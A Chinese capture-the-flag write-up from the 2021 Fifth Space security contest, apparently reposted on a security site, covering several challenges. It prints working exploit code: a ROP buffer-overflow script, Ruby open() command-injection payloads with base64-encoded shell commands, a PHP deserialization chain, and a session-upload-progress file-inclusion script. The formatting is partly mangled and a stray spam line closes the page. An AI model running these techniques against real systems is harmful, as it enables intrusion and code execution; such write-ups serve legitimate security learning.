<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    第五空間網絡安全大賽 WHT WRITEUP

    VSole2021-09-18 10:37:15

    一、 戰隊信息

    戰隊名稱:WHT

    戰隊排名:社企組 26

    二、 解題過程

    1 簽到

    下載附件,并解壓后,發現 flag 文本,提交即可。

    flag 值:flag{welcometo5space}

    2 bountyhunter

    EXP:

    from pwn import *context(os='linux', arch='amd64', log_level='debug') content = 0
    pop_rdi_ret_addr=0x000000000040120b system_addr=0x0000000000401030 sh_addr=0x0000000000403408
    def main():try:if content == 1:upload = process("./pwn1")else:upload = remote("139.9.123.168", 32548)except:print("The exp is error~")
    payload = ('a' * (0x90 + 0x8)).encode() payload += p64(pop_rdi_ret_addr) payload += p64(sh_addr)payload += p64(system_addr)
    upload.recvuntil("Who are you? What do you want?") upload.sendline(payload)
    upload.interactive() main()```
    

    3 WebFTP

    項目地址:`https://github.com/wifeat/WebFTP`

    4 PNG 圖片轉換器

    ruby 的源代碼

    require 'sinatra' require 'digest' require 'base64'
    get '/' doopen("./view/index.html", 'r').read() end
    get '/upload' do open("./view/upload.html", 'r').read()end
    post '/upload' dounless  params[:file]  &&  params[:file][:tempfile]  &&  params[:file][:filename]  &&params[:file][:filename].split('.')[-1] == 'png'return "alert('error');location.href='/upload';" endbeginfilename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png' open(filename, 'wb') { |f|f.write open(params[:file][:tempfile],'r').read()}"Upload success, file stored at #{filename}" rescue'something wrong' end
    end
    get '/convert' do open("./view/convert.html", 'r').read()end
    post '/convert' do beginunless params['file']return "alert('error');location.href='/convert';" end
    file = params['file']unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "alert('dont hack me');"endres = open(file, 'r').read()headers 'Content-Type' => "text/html; charset=utf-8""var img = document.createElement(\"img\");img.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";"rescue'something wrong' endend
    

    漏洞利用的關鍵點是這一行(參考:https://vulhub.org/#/environments/ruby/CVE-2017-17405/)

    res = open(file, 'r').read()
    

    這里使用了 open()函數來打開可控制 file 參數傳入的文件名。而 ruby 中的 open()函數是借用系統命令來打開文件,且沒用過濾 shell 字符,導致在用戶控制文件名的情況下,將可以注入任意命令。

    源碼中會將 open()執行過后的結果 base64 編碼后返回,加上 file 參數處有些過濾和必須以.png 結尾的限制;即可構造

    file=|whoami > test.png
    

     

     

    如果返回 something wrong,可以嘗試多執行幾次。接下來繞過..、/即可,直接利用 base64 編碼繞過

    file=|echo "bHMgLWxoYSAv"|base64 -d|bash > test.png
    

     

    讀取/FLA9_zAIBhoJmWSX9RUcnPDrL

    file=|echo "Y2F0IC9GTEE5X3pBSUJob0ptV1NYOVJVY25QRHJM"|base64 -d|bash > test.png
    

     

    5 pklovecloud

    include 'flag.php'; class pkshow{function echo_name(){return "Pk very safe^.^";}}
    class acp{protected $cinder; public $neutron; public  $nova; function     construct(){$this->cinder = new pkshow;}function     toString(){if (isset($this->cinder))return $this->cinder->echo_name();}}
    class ace{public $filename; public $openstack; public $docker; function echo_name(){$this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){
    

    簡單的反序列化,需要注意下的就是兩個對象相互嵌套時注意區分,不要陷入死循環

    {protected $cinder; public $neutron; public $nova;function     construct($i){if($i == 1){$this->cinder = new ace();}else{return $i;}}
    }class ace{public $filename = '/flag.php'; public $openstack;public $docker; function     construct(){$this->docker = serialize(new acp(0));}}
    $res = new acp(1);echo urlencode(serialize($res));?>
    O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7B
    s%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3 A6%3A%22docker%22%3Bs%3A61%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder% 22%3BN%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22n eutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
    

    6 EasyCleanup

    if(!isset($_GET['mode'])){ highlight_file(     file   );}else if($_GET['mode'] == "eval"){$shell = $_GET['shell'] ?? 'phpinfo();';if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell);}
    if(isset($_GET['file'])){if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file'];}
    function filter($var): bool{$banned = ["while", "for", "\$_",  "include", "env", "require", "?", ":", "^",  "+", "-",  "%",  "*","`"];
    foreach($banned as $ban){ if(strstr($var, $ban)) return True;}
    return False;}
    function checkNums($var): bool{$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';$cnt = 0;for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $cnt += 1;if($cnt > 8) return True;}}}return False;}
    ?>
    

    合并運算符(??)

    $shell = $_GET['shell'] ?? 'phpinfo();'
    

    如果有設置?shell,則?shell 的值為其設置的值;若沒有設置,則?shell=phpinfo(); 審計源碼,很明顯這里直接命令執行應該是無法執行的:

    · 總長度不能大于等于 15

    · 數字和字母的字符次數不能大于等于 8 次

    加上一些 filter()的過濾,這里基本無法實現?shell 的代碼執行

    關鍵在 include $_GET['file'];,有文件包含,雖然有 filter()和長度的限制,但是沒有最惡心的 CheckNums();加上給了我們一個 phpinfo。查看一下 session.upload_progress,默認都是開啟的。并且這里記錄上傳進度的 session 文件都沒有開啟自動清除

    (session.upload_progress.cleanup==Off),條件競爭都不用做了。

    沒有給出 session.save_path,那 sesion 應該就是默認保存位置:/tmp/sess_xxx 直接利用以前做 session upload progress 的腳本即可,稍微改一下就能直接打

    # -*- coding: utf-8 -*- import ioimport requests import threading
    myurl = 'http://114.115.134.72:32770/index.php' sessid = '7'myfile = io.BytesIO(b'mochu7' * 1024)writedata = {"PHP_SESSION_UPLOAD_PROGRESS": ""} mycookie = {'PHPSESSID': sessid}
    def writeshell(session): while True:resp = requests.post(url=myurl, data=writedata, files={'file': ('mochu7.txt', myfile)}, cookies=mycookie)
    def getshell(session): while True:payload_url = myurl + '?file=' + '/tmp/sess_' +sessid resp = requests.get(url=payload_url)if 'upload_progress' in resp.text: print(resp.text)breakelse:pass
    if     name   == '    main    ': session = requests.session()writeshell = threading.Thread(target=writeshell, args=(session,)) writeshell.daemon = Truewriteshell.start() getshell(session)
    

    如果一個 sess_id 打了好幾次沒有刷新,建議換個 sess_id 打

    shellshell腳本
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    由于低權限用戶無法執行太多操作,可以利用反彈上傳Churrasco.exe,后續可以利用它來做提權。輸入net user指令查看是否添加成功,最后提權成功。linux系統提權思路linux基礎信息收集uname -a 顯示全部系統信息cat /etc/issue 內核信息。
    這里你可以理解為 a = 1,同時還可以 a =2、a = 3 ,不同的值都可以復制給同一個 變量 a 。Shell常見的變量之一系統變量,主要是用于對參數判斷和命令返回值判斷時使用,系統變量詳解如下:。令或程序執行完后的狀態,返回0表示執行成功;顯示當前主機名;
    反彈shell是獲取Linux交互shell的一種方法,其方法背后的原理是什么呢
    初識Shell
    2022-03-11 22:42:44
    程序是由序列組成的,告訴計算機如何完成一個具體的任務。編寫程序花費的時間往往是實際運行時間的幾十倍或幾百倍。除了計算機生產廠家的專業人員外,絕大多數的 程序員已經不再去學習機器語言了。包含的功能幾乎可以涵蓋Shell所具有的功能,所以一般的Shell腳本都會指定它為執行路徑。目前使用的 并不多,已經被/bin/tcsh所取代。
    vulnhub之sar的實踐
    2023-09-04 09:33:30
    今天實踐的是vulnhub的sar鏡像,
    PHP disable_functions disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。
    disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。
    相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。高ini_restore()可用于恢復 PHP 環境配置參數到其初始值
    大多數計算機系統設計為可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味著用戶獲得他們無權獲得的特權。這些特權可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。
    一文吃透 Linux 提權
    2021-10-23 07:09:32
    特權升級意味著用戶獲得他們無權獲得的特權。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类